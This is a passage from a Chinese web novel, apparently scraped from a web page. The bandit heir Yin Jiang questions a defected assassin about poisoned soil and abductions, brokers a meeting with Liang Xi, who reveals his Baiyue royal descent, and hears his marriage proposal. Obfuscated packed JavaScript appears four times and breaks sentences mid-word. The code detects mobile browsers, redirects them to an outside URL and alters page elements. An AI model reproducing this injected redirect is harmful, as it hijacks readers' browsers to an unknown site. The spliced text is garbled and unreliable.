胤姜没说话,心想,你怎么学起我来了?还关心他一下? 涂煊眼睫动动,疑惑的看向涂苍,“师父,难道我不背叛主子,就能有什么安稳的生活过吗?每日都在血腥与杀戮中生活,反正都是一样的啊,连早死晚死都不用操心,因为我出任务也可能会失败啊。” 胤姜心神一动,涂煊这话说得不错,对他来说,就算背叛了组织,过的生活和没有背叛的生活也是差不多的,既然是差不多的,就不需要太多的决心。 只有将要面对翻天覆地的变化,身处其中的人才会犹豫,否则都是差不多的生活,所谓的改变,就是扑腾两下而已。 可是胤姜又觉得,对于大多数人的生活来说,光是扑腾这两下,都意味着生活的巨变。 胤姜看着涂煊眼神温柔,“反正最糟糕的生活莫过于一成不变的现在了,但是最幸福的生活,也是一成不变的现在。 你已经拥抱了变化,恭喜啊,虽然去路不知归处,但是来路不曾辜负。” 胤姜举杯,涂煊似被说中心事,半天才“嗯”了一声,举起杯,学着涂苍的模样与胤姜碰杯,“敬自由!” 三人一饮而尽,涂煊慢悠悠说道,“师父,胤少当家,其实我知道的东西并不多,每天都是在训练,除了训练就是在接任务,所以,你们想要问什么,直说就是,我知道的都会说的。” 涂苍最感兴趣的就是贺含章在哪里训练这些死士,所以他双眼发光看向涂煊,奈何涂煊摇摇头,“我也不知道,我们是在山里,每次要出山的时候,都会被蒙住眼睛,吃些迷药,然后再一睁眼,就不在山中了。” 胤姜沉默地看了眼涂苍,山里,好大一座山,啥都能干,但是想要在里面找一个人,一样东西,难如登天,光是找到涂苍那座金矿,就不知消耗了她和梁玺多少的时间和精力。 她可不想再去深山里打转了。 胤姜见此事无解,问起令她困惑已久的截杀赈灾银队伍一事,“那是你们的手笔吗?你有参与那场计划吗?他们究竟安排了多少人?” 涂苍扬眉,也看向涂煊,涂煊回想半晌,说道,“我是接到过一个命令,但是不是去杀人,是去下药,但是的确很多人都穿着各色官兵的制服,你们说的是这件事吗?” 胤姜感到摸到点边缘,急问道,“药,什么药?你知道吗?” 涂煊摇摇头,“上面给的,让我们撒到土地里,反正撒了很多,周围有一座庙吧,庙里也撒了不少,全部都撒土里了,我其实还挺好奇的,撒药做什么,难道要种庄稼,有时候上面的命令挺奇怪的。” 涂苍神色怪怪的,却没贸然开口,胤姜闻言却眉头一皱,什么鬼药,撒土里?撒土里做什么,难道还能长什么东西出来? 胤姜又追问,“他们还下发过什么让你觉得很奇怪的命令?比如?” “让我们去村里抓人,男女老少都抓,抓来也不知道他们去了哪里,反正我是再也没看见过他们,那些人就好像从来没有出现过。 还有,抓各种动物,什么都有,山林周围都被我们抓得基本上干净了,又让我们去稍远点的地方抓,反正基本上周围除了人,是没什么活物了。” 涂煊的话让涂苍心凉凉的,却让胤姜生起了几分希望,“抓人?至少七八百人吗?” 涂煊知无不言,“肯定不止七八百人了,有时候一窜窜的来,有时候一堆堆的来,都被装在大箱子里,人瘦小的话,一个箱子可以装三个人。” 胤姜探寻地看着涂煊,他们这是在装牲口还是装人?是把这些人当牲口用,还是怎么用?李复知道的那群假扮土匪劫道的人,难道就是这些被绑来的人吗?为什么他们会乖乖听话呢? 胤姜想到药,忽然想起她和梁玺流落山间之时,也并未见到任何动物,除了那只狸花猫,那个地方,胤姜幽幽地盯着涂苍。 百钺的药师离厌,涂苍是否认识呢?涂煊他们所在的山,是否就是涂苍他们所在的山,只是彼此之间没有联络? 涂苍回以胤姜一个浅淡的微笑,“虽然你认为我应该知道点什么,但是我确实什么都不知道,我之前说过,我们做的都是细碎活,杀人的那个肯定不会弃尸,下药的那个肯定不会杀人。” 涂苍这句话倒是在说,他是搬运的,涂煊是下药的,杀人的跟他们没关系,炼药的他也不认识,胤姜凉嗖嗖说了句,“你还挺护着你徒弟嘛。” 涂苍不置可否,末了还说了句,“其实严谨来说,炼药的我可能认识,但是我也不知道他在炼什么药,他一向是个怪胎,要不是因为他,我的族群也不会被连坐,我也不会流落到大梁。” 胤姜以为涂苍还有未尽之话,却是已经站起身,“你在这儿休息吧,贺含章如果知道你失踪,多半以为我绑了你,他不会怀疑你身份的。” 胤姜直接问道,“你当初为什么投靠贺含章?” 她最开始也怀疑过,这是贺含章和涂苍演的一出戏,借着贺礼之死的名头,来试探贺含章身边的人是否可靠,但是在涂苍问她的来历之时,她却还是选择了如实以告。 她在赌,赌一个可能性,赌涂苍说的都是真的,而依她看来,至少到目前为止,就算是假的,他们也演得很好,将她骗了过去,可是对于贺含章来说,他又能利用她做什么呢? 胤姜想,对于贺含章来说,一个小小的庆安寨,应该不值得他废许多心思,从贺含章行事的桩桩件件来看,他所图甚大,而且偏巧,涂苍和涂煊对她说的一些话又能和她了解到的一些情况对上,胤姜下意识选择继续相信他们。 有一种策反,叫和敌人统一战线,胤姜想,她应该已经争取到涂苍了吧? 涂苍并没回答这个问题,背影没做停留,声音渐行渐远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889786|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我觉得我们之间还是保留一点秘密比较好,你说呢,少当家。” 胤姜独自被留在房间中,她如今失踪,梁玺、苏灼、贺含章他们都会着急,哪怕是面上装得着急,涂苍绑了她,知道了她的来历,还救下了涂煊,他想做什么? 等等,不是涂苍想要做什么,是贺含章想要做什么? 他们二人关系破裂是因为贺含章想要涂苍他们去自杀式送死,他想还回赈灾银糊弄走钦差,掩盖他杀黎清元的真实目的,赈灾银,赈灾银,现在就是赈灾银,没了涂苍,贺含章会派谁去做这件事呢? 邓绥,白朦水,他们只是一介商人,背不起这样的罪名,死士? 如果是死士的话,要将死士嫁祸给谁呢?这个人必须得是贺含章的敌人,跟他作对的才行,同时在兖州有相当大的地位,让人相信他有胆子做出这样的事情。 胤姜不得不承认,将事情嫁祸到土匪身上,可比嫁祸到死士身上更完美,在世人眼中,死士有主,土匪无主,如果涂苍同意,那这劫银的罪名,就真的洗不清楚了,庆安寨,覆巢之下无完卵啊。 胤姜明白,涂苍现在其实也猜出了贺含章所图谋的非一般事情,他是打算逃之夭夭的,带着他的兄弟们去其他地方继续生活,当然,或许不是他不敢赌贺含章他们赢,而是他不想,因为涂苍是经历过百钺内斗的人。 作为下面的虾兵蟹将,又加上涂苍不是什么特别有道德感的人,涂苍可能觉得借着贺含章的威势,能够更好地存活下去,所以他也就半推半就地答应替贺含章做事了,胤姜想, 但是他没想到,贺含章是一艘贼船啊,他要做的可不是简单的利用土匪来帮他驱除异己啊。 胤姜眼眸微咪,古人有一至理名言,水至清则无鱼,通常来说,大鱼想要船翻,跟在大鱼屁股后面的小虾米则有三种, 一是也想翻船,是大鱼忠心的簇拥,二是无能无奈无知,大鱼做什么,小虾米跟着做什么,三就是不想翻船,和大鱼作对的下场,就是被大鱼驱逐,吞噬。 大鱼的结果不是小虾米能够决定的,但是小虾米有离开和留下的选择。 夜深了,胤姜望着那轮弯月,心叹,不管怎么样,人至少有两个选择,离开,或者留下。今夜,她又该做选择了。 半个时辰后,胤姜行走在去往金玉园的路上,踏着一地月色,胤姜的心很静。 涂苍已知她的真实身份,却仍要带着她走,走哪里去呢?他或许想要去庆安寨躲躲风头,而她回了庆安寨,父亲必然不会再放她出来,因为局势一触即发。 但是胤姜选择了离开,她不能回到那个安然祥和的庆安寨,因为她知道,兖州的风霜即将到来,谁也无法幸免,她插手越多,了解越多,便越是局中人,她不能走。 胤姜本想翻墙头进去,没想到直接被商白发现了,商白发现是胤姜后,并没有捆着她,而是直接将她带到了梁玺面前。 见到梁玺,胤姜心情复杂,她本意是不想他帮助的,但是他偏偏有那个能力帮她,罢罢罢,她位卑言轻,还是找他们这些大人物说话。 57. 相认 胤姜见到梁玺的第一面,刻意的避开了寒暄,她直入主题,“之前公子说给我庆安寨一个立功的机会,如今我得知一个消息。” 胤姜对梁玺讲述了涂苍和贺含章之间的事情,又以防李复不曾交代清楚,再次综合了一下涂煊的内容。 “我知道,公子和钦差大人之间应当有联络,公子和钦差大人未尝不可以将计就计,贺含章想要你们相信是土匪劫银,钦差大人便就此作罢,等贺含章放松戒备,再将他一举拿下。” 胤姜侃侃而谈,“只是需得防备贺含章狡猾,提前给自己留了后路,给自己找个绝佳的替罪羊。在整个兖州,能与贺含章打对台的,也总不过那么几位。” 梁玺瞧着胤姜神采张扬的模样,不禁一笑,“胤姑娘可否将涂苍和涂煊带来,有些话我想当面问他们,并非我不信任你,而是我有新的疑问,需要当面确认。” 胤姜挑眉,心道,他们只想逃之夭夭,可不想掺和兖州的浑水,怕是只有把人绑来了,胤姜微笑看着梁玺,“他们在牛马巷三十七号。” 不多一会儿功夫,涂苍涂煊就被带到梁玺面前,和胤姜大眼瞪小眼,涂苍面露懊悔,似在质疑,你这个小女子,怎么转手就把我们卖给你的情郎了,亲娘哦,他真是惨兮兮。 胤姜品尝着上好的雪尖茶,吃着梁玺为她备的糕点,端坐着看二人愁眉苦脸、对她怒目而视。 梁玺也直入主题,“你可描绘得出你们日常训练的地方的模样?你说,她画,如果有含糊的,可不要敷衍了事。”这话是对着涂煊。 涂煊点头,他被人从梦中叫醒,经过一番挣扎,还是被人带到这里,在来的路上,师父对他说,不管那人想要问他什么,都要实话实话,因为那人有能耐捣毁他们的训练窝点。 涂煊彼时眼睛一亮,要是能彻底摧毁那个地方,那么许多像他一样的人,都能得到解救,而且,他们这些死士,或许将拥抱自由。 自由,那是他梦寐以求的东西。 梁玺另外一番话,是对着涂苍说的,“钱权名利,这些贺含章都能给与你,想来我予以同样的东西也吸引不到你,听说你背叛贺含章,是为了保护你的族群, 那么,如果我给你机会,让你能够重回百钺呢?那是你的故土,你想家吗?” 梁玺话音一落,胤姜暗观涂苍神色,果然见他神色一变,十分不自然,“你有什么权利能够动摇百钺的规定?就算如今百钺沦为大梁的附属国,新君也未必对大梁言听计从,何况,你又以什么身份能够让大梁对百钺施压? 只为了小小的一个人?无上圣人的族落都衰亡了,我们这些追随者的族落也惨遭屠杀,活下来的能有几人?新君视我们如掌中刺、眼中钉,回家?哈哈哈,哪里还有家?” 涂苍笑得苍凉,那是他挥之不去的隐痛,从此远走故土、颠沛流离,好不容易才在黑崖寨生根,如今却因为阴谋算计,不得不再次远走他乡。 梁玺轻微叹口气。 权势浮沉,顷刻间,家破人亡。 梁玺从怀中拿出一枚印信,呈赤红色,光泽可人,看样子像是一块玉,却被雕琢成羊的模样,两只羊角生得十分美丽,外圈则是用黄金镶嵌而成,整体不过人的手掌心那么大, “家母当年远嫁他国,没想到,却使得我和家母侥幸成为外祖仅存的血脉。” 涂苍盯着那块印信,不可置信般张大了嘴,瞪大了眼,半晌,他才双臂交叉,掌心放在两肩处,朝着梁玺深深鞠了一躬,才抬起头,眼中无限悲伤,“圣人保佑。” 胤姜不明所以,百钺,梁玺和百钺竟有瓜葛?莫非他母亲是和亲的公主,而他则是皇室中人? 虽然胤姜对大梁皇室没什么了解,却也知道,当今天子并无年长的兄弟,那么,梁玺只能是天子的堂兄弟了,难怪,他那样了解百钺的事情。 胤姜想着,将杯中茶水一饮而尽,茶味略苦,胤姜心中发胀。 “我不愿再回去了,回去所见物是人非,我怕承受不住,如今很好,我有了新的族群,我很好,也不用公子为我操劳,百钺新君在位, 公子若为我这些旧人说话,恐影响大梁和百钺的盟约,也影响公子的前程,公子既生在大梁,长在大梁,便向前看,我们不碍事。” 胤姜觉得玄乎,却又觉得合乎情理,她懒散地趴在桌上,数着盘中的花生粒,是这样的,你与他不亲近,便只会从利益开口,他才不会管你的处境艰难不艰难,办事困难不困难,他只要自己的目的达到就行了。 可这个人若是和你亲近得很,是你很在乎的人,哪怕他只是在乎的那个人的亲人,你也连带着怜爱他,不自觉地开始为他打算,为他筹谋, 害怕自己影响对方的前程,哪怕自己受点委屈也心甘情愿,当然,对其他人,就是另外一副嘴脸。 胤姜忽而想哭,她之前一直反驳苏灼,说她和他之间生意是生意,可是实际呢,她对他也并非如此,她若真想动手杀梁玺,在他和商白落难之际便可下手,在他和她进矿洞进山之际也可下手, 她有太多次下手的机会,她并没下手,虽然杀掉他风险很大,但是足够搅混兖州这潭水。 她没有下手,任由他一点点摸到了她的身份,任由她的伪装在梁玺面前被拆开,她早该动手的,可是她隐隐相信他,并非是助纣为虐之人,而这种相信,来自于她的喜欢。 她和他,原来都曾交付过对方的后辈,并且牢牢护住了对方。 她担忧,她害怕,她恐惧,除了淮安的事情,还有他们之间的事,一直以来,是她不敢去想象他们之间的未来,她更害怕,对方和她一样,也不曾想象过和她的未来。 这是很可怕的。胤姜想,不自觉一滴泪珠就滑落下来。 涂苍说完这番话,梁玺很是感触,视线不自觉扫到胤姜,却见她眼中哀伤转瞬即逝,心不免提了起来,又对涂苍说道, “若你当真不想回去,也请让我做些其他事情,路上的盘缠和户籍,你便无需操心了,不过你得答应我,日后带着你这票兄弟找个正经营生,成日在山上为非作歹,算什么好汉。” 胤姜自嘲的勾起嘴角。 涂苍笑着点了一下头,似想起什么,对梁玺提醒道,“公子,那离厌自从被贺含章招了之后,好似替他研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903288|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究了不少稀奇古怪的药出来,若是要与贺含章动手,我只怕他使诈啊。” 毕竟,贺含章又不是多光明磊落的人。 梁玺表示他知道了,问涂苍可知如何联系到离厌,涂苍摇头,“我本就不是很喜欢他的性格,他一向古怪,就算以前在族落中,他也不得人喜欢, 不过他也不在乎别人喜不喜欢他,因为我瞧着,他也不喜欢其他人,可能也就除了无上圣人之外吧。” 梁玺微敛眸子,心中不知作何考虑,梁玺又吩咐人为涂苍备上美食和盘缠,宴饮不多时,涂煊描述的画便画好了。 画画的人胤姜有点印象,好像是之前梁玺带来赴宴的那名女子,原来,她还精通画技。 涂煊所描述的地方,看上去就像一片山林,除了那几座尤为显目的建筑外,实在看不出来和云雾山上任一处树林子的不同。 胤姜说道,“这样找,还是困难,怕还是只有将计就计,引蛇出洞。涂大当家,你若是提早和我们勾结在一起该多好,昨夜就直接配合着贺含章将戏演下去了。” 涂苍勉强笑两声,也知胤姜是在戏谑他,因为涂苍心中清楚,若非贺含章要送他的兄弟们去死,他是绝计不可能和胤姜他们搅和在一起的,毕竟,之前他们还是见面就要动刀子的仇人。 不过,命运真是捉弄人啊,要是他之前遇见胤姜和梁玺之时,直接就杀死了他们,那他可不就杀死了无上圣人最后的血脉吗?那他才是真正的罪人,万死不足惜。 还好还好,现在未必是命运最差的安排。 涂苍想着,又看了身边的涂煊一眼,拍拍他的肩膀,神色欣慰。 “有施将军在,我想,公子应当是不会让守城军出事的吧?”胤姜看着梁玺问道。 胤姜想得清楚,现在贺含章能找的最好的替罪羊,就出自军中,如果出自官府僚属,那他怎么也得担一个治下不严之责,而且还要被人怀疑是找替罪羊。 若是出自军中,问责的就该是周思捷啊,可是,如果贺含章真能动军中的人,那又代表着,他的渗入范围多可怖啊。 梁玺沉默,眸光锁在胤姜脸上,才开口说道,“出事的,就是守城军。” 在场人无不一惊。 宴散得很快,胤姜也喝了不少酒,梁玺不想过多提及公事,胤姜几人也没再追问下去,之后胤姜只顾着喝酒,似想大醉一场。 胤姜慢悠悠起身之际,涂苍已经拖着涂煊飞快地离席了,席中仆人也尽数退下,梁玺走过来一把扶住胤姜,眉头微皱,“喝这么多酒,做什么?我可有惹你不快?” 梁玺抚上胤姜微凉的脸庞,盯着她脸蛋两边浮起的陀红,女子身上酒气萦绕,是他最讨厌的味道。 梁玺将胤姜拦腰抱起,胤姜挣扎几下,放任自己安稳趟在梁玺怀中,她瞧着梁玺发呆,他的眉目自成风流,他的眼中似暗藏深情,他的唇是如此薄而淡。 胤姜想,他应当很像他母亲才对。 胤姜闭了眼,她只想这段路长一些,再长一些。 然而尽头很快到了,胤姜被梁玺放在床上,他替她掖好被角,“你想和我谈谈吗?” 58. 撒糖 胤姜抖抖眼皮,翻身背过去,她捏着被角,压抑着自己的情绪。 她有些醉,但是没醉得彻底。 酒意上头,她感觉太阳穴鼓鼓胀胀的,她想,她真是受不了了,她凭什么这么委屈自己啊? 梁玺并没离开,他就近坐下,看着背身转过去的背影,说道,“有许多事,我不能告诉你,但是我并无伤害你之心,之前是我唐突, 我不该约你去折翠居,不该让你和江依见面,因为我迫切的想要知道,你到底是谁? 我想要知道你的身份,想要证实我的猜想,我实在是太想要一个答案了,不落实你的身份,总让我惴惴不安。” 梁玺凝视着那道背影,忽生出一股颓然之感,她竟生气了,她果真生气了,是呀,他对她步步紧逼,寸步不让,他将她费心隐瞒的底细都挖了出来, 还在旁人面前直接拆穿她的伪装,也不给她多余时间回击,后来又匆匆分开,彼此之间都没说几句话,她若是一直将事情闷在心里,见到他,是该生气。 虽然她主动来找他,但是她客套得很,一点也不想与他熟稔,也似不想再提及旧情,明明,就在前几天,他们还在一起生死与共,托付后背。 梁玺素来知道自己的问题,他总是太想知道答案,太想有个结果,在他眼里,一切都得是清清楚楚、明明白白的,这世间模糊不清的灰色地带太多,他总在尽力确保,他身边的世界是明确的。 是,或不是,喜欢,或不喜欢,他要的是简单直接的一个答案。 梁玺内心也在煎熬,他仍不离开床榻,就静静坐在床边,又将视线移向窗外,月光黯淡,但是仍可看见小池塘及周边的景色,水面平静,偶尔几条小鱼浮上水面,吐个泡泡又再次沉入水底。 梁玺眼色加深,他记起,在他幼时的家中,也曾有这样一个池塘。 “当年百钺内乱,母亲失去家族的依靠,一人独自生活在这异国他乡,梁氏族人多是捧高踩低之辈,我母亲无所庇佑,更成为权势斗争下牺牲的棋子。 虽然她那时已经生下我,有了父亲那一支所谓的嫡长子,但是无论是我还是母亲,都并不得人重视。我父亲愚孝,他虽爱母亲,却也在乎亲人,最后在祖父的逼迫下娶了另外一位高门贵女, 那贵女的家族对梁氏多有助力,她在梁氏的地位也水涨船高,反之,我和母亲则愈发谨小慎微。 那贵女虽为平妻,但是比之母亲——一介他国旧朝皇室遗孤,却实在有实权得多,再后来,她生下嫡子,我和母亲便越发不容于梁氏。 那方小池塘,我曾跌落三次,一次被人从身后推入,一次踩到路上的物事便滑了下去,一次悄无声息被人带到池塘边,跳了下去。 内宅之中手段何其多,我那时才几岁年纪,总是觉得这个世界危险重重,布满了未知的谜团。 到底为什么我会来到池塘边,而连我自己都没印象呢?直到掉入池塘中,那冰冷的湖水刺得我清醒过来,我才明白我身处何地。 那时我觉得,老天大概也是看我不顺眼,要来带我走了,刚好母亲也心灰意冷,不想再与父亲纠缠,自请和离,我便随着母亲离开了梁家。 而从那以后,我就没怎么遇到过特别危险的事情。后来,我读到一本闲书,书上说,这世界上有一种惑人心智的玄术, 在被施术人意识不清的时候对其施术,便能诱其做出一些他平日不会做的事情,并且被施术人完全没有印象。 我那时方才恍然大悟,幼时困扰我许久、以为是老天爷诅咒的事情,就这样被一本书里的几句话轻飘飘带过去了。 后来,经历了不少事,看似玄乎,实则在我找到背后的解法后,也并没有那么玄妙。 我对你,也如以往一般探究,对我来说,这让我很有安全感,没有什么比看透对方、看透一件事,更让我有安全感,我习惯这样的掌控,所以那夜,我才把你叫来,亲手戳穿了你的身份。 我以为这次我也会和以往一样,我以为我自己胜券在握,我以为一切尽在掌握,但是,我仍十分不安,那夜出来后,你一句话都不曾再和我说过,我总在回想,那夜你的神色, 我在担心,我也不知道在担心什么,但是今晚我再次看见你,你对我如此陌生,如此客气,我十分不开心,我知道我在担心什么了,我在担心,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928882|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我从此以后就这样陌生。 我担心,失去你。” 胤姜静静听着,脸上神色莫测,梁玺说完,久久没等来胤姜的回话,他的内心处在煎熬中,他以前从不明白,何为思之如狂,何为情之一字,可是近来,他的梦里,心里,到处都是她。 他回到淮安,不过几天没见她,他却觉得身边处处都有她的影子,好似她就在他身边,和他们之前在山里一样,可是他身边,到处都是她,却遍寻不见她。 胤姜说不出来心中什么想法,却觉得心头鼓鼓的,不是她之前酒意上头的鼓胀感,她清晰听闻她的心跳,她的心,似要逃出胸腔,奔他而去。 胤姜的酒意早就消散,她欢喜得很,君念我如明月,我亦揽月送君怀。 胤姜倏然翻身,撑起身子,捧起梁玺俊俏的脸庞,“谁教你这么说情话,我竟是一点也没看出来,你这么会讨女孩子喜欢。” 梁玺被突然的亲密惊到,难免不自然,微微扭过脸去,想挣扎出这个受制于人的姿势。 哪里想到,胤姜连拉带拽,将他拖上了床,梁玺被胤姜压在身下,胤姜琦坐在梁玺身上,用手挑起梁玺的下巴,“说,你喜欢我,说你有多喜欢我。” 梁玺双耳通红,咬咬牙,低声说道,“你别胡闹。” 胤姜却是不依,微一摇头,睁大双眼,“听不见。” 梁玺将脸扭到一边去,耳朵的红不知何时蹿上了脸,脸上两坨红,胤姜觉得,自己好像那戏文里调戏良家妇女的登徒子,她兀自叹息,却越发放肆。 胤姜凑近,捏捏梁玺的耳朵,又凑近梁玺耳侧说道,“我好喜欢你啊~” 梁玺觉得他大概已经疯了,她身上明明还有他最讨厌的酒的味道,此时他却觉得十分甜蜜,似空气中充满蜜糖一样,他的心腔被一股愉悦填满, 登时反身将胤姜压在身下,轻抚她额边细碎的秀发,手指滑着滑着却不太规矩,抚上了脸庞,在那红润的唇边打转,他想,那夜,他竟那样吻了她。 胤姜与梁玺四目相对,她微微笑,又故作羞褐状,“登徒子。” 那模样像极了被调戏又反勾引回去的小娘子。 59. 她拒绝 “登、徒、子、”梁玺咬着牙,凑近胤姜,他瞧见她纤长的睫毛微抖,她又躲开眼去,梁玺不自觉抚上胤姜的眼眸,轻轻似抚摸美玉般,“我便做一回登徒子如何?” 男子暧昧的声息吹得胤姜耳朵痒痒的,胤姜笑着推开他,“才不要,你快走开,我要休息了。” 梁玺收回手,眼神在胤姜脸上流连,神色晦暗不明,他摩搓了一下刚才轻抚过胤姜皮肤的手指,“阿姜,我,思来想去,想与你说件事。” 胤姜询问看向梁玺,梁玺方才说道,“我尚未来兖州的时候,曾相看过一名女子,虽当时行走匆忙,但无论是我两家之意,还是我和她,都有过订亲的想法。” 胤姜神色一滞,眼睛微张,问道,“你如今是何意?” 她问得冷静,心中却不停打鼓,更生起一丝微妙的悲伤之感,她又想起那个小雪夜,她开心回到家中,想邀苏灼一起雪夜小酌,却最终只见到他和旁人花前月下的模样。 那夜的雪花洋洋洒洒,十分美丽,尤其还有那清冷月光如影相随,她裹着锦裘,漫无目的在街上逛,天很黑,街上的店铺都基本上关了,夜里灯火阑珊, 想来,他们都在家中,烤着篝火,一家人其乐融融的聚在一起,取暖也好,休息也好,终究不是形单影只,一个人流连在外面。 月色真美啊,莫名有些像那夜,胤姜望向梁玺身后的月光,“月色至好,我心澄澈,你与我开门见山,我明白你的意思,我也谢谢你,告诉我这件事,你走吧。” 梁玺却是没动,“我告诉你,并非是想与你断绝关系,也绝不是想要你做一个见不得光的外室。你和我之间,我考虑过很多,一度我并不能下定决心,给你和我自己一个答案,甚至在刚才,我不曾与你说这件事的时候,我都没有做好决定。 但是告诉你之后,我如释重负,我不想欺骗你,也在那一瞬间,我发现原来我已经做好了抉择。” 胤姜半垂下眼帘,神色不清,她想,他们之间的未来,连她自己都不敢给一个承诺,情起,却一晌贪欢,她只敢看眼前,不敢想以后,胤姜啊胤姜,你说你,怎么非要喜欢一个生活在不同世界的人呢? 胤姜不想放弃眼前的逍遥自在,而世人的眼光和官府的束缚,也决定了他们这些人只能过这样浪迹江湖的日子,就算大家聚在一起,其实也免不得有朝一日各奔东西。 胤姜素来是很悲观的人,胤敞腿脚不便,虽然能聚拢起庆安寨的人,但是庆安寨内部也并非铁板一块,人一多,想法就多了,人心一散,寨子便散了。 在胤敞想要庆安寨人偏居一隅的时候,也总有人希望在外闯荡,苏灼不过是先行者之一,还尚且能看在胤敞的面上,表现出一副其乐融融的模样。 但是胤姜很清楚,无论是二叔、三叔、还是苏灼,这几位前辈并不会服她这个少当家,他们手下都各自有人马,对于胤姜来说, 接手庆安寨、保护庆安寨、成为庆安寨真正的当家人,是她始终不改的人生目标,她对涂苍多的那几分理解,不过是因为她自己本身也一直朝着那个目标在行进罢了。 要她放弃从成为胤姜、成为庆安寨少当家开始这十几年以来的人生目标,去做一个闺秀,做一个寻常人家的女儿,做一个寻常的妻子,做一个孩子的母亲,对她来说,都太过艰难和陌生。 苏灼有一句话说得不错,她不是被迫上山的,落草为寇,是她的选择。她为自己找寻借口,却也并不能为她自己开脱。 在她及笄的时候,胤敞曾问过她,可有心仪的儿郎。 其实那时她对苏灼已有心意,但是啊,胤姜啊,胤姜啊,她那时笑着对胤敞说,“父亲,这么快就不要女儿了嘛,女儿只想长长久久陪伴在父亲身边,父亲可不许嫌弃我。” 幼时丧亲,朝不保夕的生活,早让她明白,什么才是这世间最可靠的东西。 她不是圣人,哪怕真有那么几分善心,又为何要用到赈灾银失踪这件事上? 她要保护庆安寨,她要继续安稳的生活,她还要权力,哪怕一寨之中。 她需要手中握有更多的筹码,她得在这世道活下去,胤姜想,她总能活下去。 当然,在不影响自身的时候,也帮其他人活下去。 韶华轻逝,岁月不曾放过任何人,胤姜知道,有人在她背后嚼舌根,说她是嫁不出去的老姑娘,说她想要招赘婿,说她权欲心重,真的想越过几位叔叔当庆安寨的当家。 呵,最开始胤敞收她做义女的时候,虽然大家都叫着她少当家,但是没有谁会真的认为她有可能继任寨主之位,不过是一个小小的名号,来称呼她这个寨主的义女而已,以示寨主对她的重视。 胤姜虽有过困扰,但是年华到底也善待了她,至少,她这个少当家的作为,也越来越被人看在眼里。 胤姜的视线从窗外那轮弦月又移回梁玺身上,他是多俊美又多文雅的郎君,出身好,又算得上是少年得意,想来就算在繁华如许的雍京城,都会有许多人喜欢他,想要他做东床快婿。 他应当娶一个门当户对的妻子,世人皆是如此,他也不应该例外。 他应当按部就班的继续生活,这本身也没什么错,胤姜想着,反而笑起来,人各有志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992939|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这本身也没有对错,他对她坦白,证明她至少没看错人,他确实是坦荡的君子。 胤姜说道,“我尊重你的选择。” 好聚好散,一方面为感情,为这段感情的无疾而终,一方面为利益,他们还要合作,各取所需,她需要有拯救庆安寨的名望,以助她更好的攀上寨主之位,他需要解决贺含章,需要功绩,为他日后的仕途前程铺路。 却见梁玺神情郑重,说道,“我心悦你,我想娶你,这是纯粹从感情出发的心声,我知道你会疑惑,其实我反复思量过,不止出于感情,我发现,我娶你,也并非全是弊端。 我本身家世已然卓越,再娶一个门当户对的妻子,虽然与家世上有助力,却难免不会招惹出旁的是非。 伴君如伴虎,尤其我们这样的人家,对于上位者来说,太过煊赫的家族,未必不是眼中钉、肉中刺。原来对我来说,妻子的身份,并不一定需要多高贵,既然如此,为何不能娶我喜欢的。” 胤姜猛然看向梁玺,却将他认真的神情瞧得清楚,他双眼饱含爱意,这足以灼伤任何一个陷入爱河的女子。 胤姜一时竟不知如何应对,她有些慌张,她本已经做好了好聚好散的准备,但是此刻,眼前这人却说,他想要娶她? 胤姜还在怔愣之际,梁玺继续说道,“我知道我今夜说得太过仓促,我不想逼你做决定,我知道,你和我一样,一约既定,百死不悔。 阿姜,待你做好决定,再行答复我,若你有身份上的顾虑,也不必思虑太多,事情或许就快结束了,到时一切都可明了,若你信任我,便交给我。 当然,若你不接受我,我也接受你的决定。我只想告诉你,若你答应,你我之间不会有阻碍,若你不答应,我也不会给你造成障碍。” 梁玺一番话说得情深义重,胤姜却仍是沉默着,忽而勾起嘴角,说道,“不用给我太多时间,我已经决定好了,我不会为你远赴雍京,独自一人去面对你的父母家人, 